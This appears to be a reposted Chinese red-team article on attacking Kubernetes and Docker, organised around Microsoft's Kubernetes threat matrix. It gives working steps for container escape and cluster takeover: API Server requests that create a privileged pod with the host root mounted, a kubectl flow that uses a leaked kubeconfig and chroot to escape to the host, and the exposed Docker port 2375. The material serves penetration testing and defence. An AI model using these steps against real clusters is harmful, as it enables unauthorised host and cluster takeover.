随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例如:公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
- 通过虚拟机攻击云管理平台,利用管理平台控制所有机器
- 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
- 利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
红色标志是攻击者最为关注的技术点。
## 初始访问 - API Server未授权访问
- kubelet未授权访问
- Docker Daemon 公网暴露
- K8s configfile 泄露
### API Server未授权访问
API Server作为K8s集群的管理入口,通常使用 8080 和 6443 端口,其中 8080 端口无需认证,6443 端口需要认证且有TLS 保护。如果开发者使用 8080 端口,并将其暴露在公网上,攻击者就可以通过该端口的API,直接对集群下发指令。
另一种场景是运维人员配置不当,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
“`css
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
创建特权容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{“apiVersion”:”v1″,”kind”:”Pod”,”metadata”:{“annotations”:{“kubectl.kubernetes.io/last-applied-configuration”:”{\”apiVersion\”:\”v1\”,\”kind\”:\”Pod\”,\”metadata\”:{\”annotations\”:{},\”name\”:\”test-4444\”,\”namespace\”:\”default\”},\”spec\”:{\”containers\”:[{\”image\”:\”nginx:1.14.2\”,\”name\”:\”test-4444\”,\”volumeMounts\”:[{\”mountPath\”:\”/host\”,\”name\”:\”host\”}]}],\”volumes\”:[{\”hostPath\”:{\”path\”:\”/\”,\”type\”:\”Directory\”},\”name\”:\”host\”}]}}\n”},”name”:”test-4444″,”namespace”:”default”},”spec”:{“containers”:[{“image”:”nginx:1.14.2″,”name”:”test-4444″,”volumeMounts”:[{“mountPath”:”/host”,”name”:”host”}]}],”volumes”:[{“hostPath”:{“path”:”/”,”type”:”Directory”},”name”:”host”}]}}
执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami
创建特权容器详细解释:
![](https://xzfile.aliyuncs.com/media/upload/picture/20211230191403-98e85642-6961-1.png)
创建特权容器
### K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github 的代码等),就可以直接通过 API Server 接管 K8s 集群,带来风险隐患。
用户凭证保存在 kubeconfig 文件中,kubectl 通过以下顺序来找到 kubeconfig 文件:
1.如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。
2.如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
3.如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
拿到K8s configfile完整利用流程:
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
```css
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切换bash,逃逸成功
cd /host
chroot ./ bash
Docker Daemon 公网暴露
Docker以C/S模式工作,其中docker daemon服务在后台运行,负责管理容器的创建、运行和停止操作。
在Linux主机上,docker daemon监听在/var/run/docker.sock中创建的unix socket,2375端口用于未认证的HTTP通信,2376用于可信HTTPS通信。
在最初版本安装Docker时默认会把2375端口对外开放,目前默认只允许本地访问。
管理员开启远程访问的配置如下:
#开启远程访问 vim /lib/systemd/system/docker.service ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者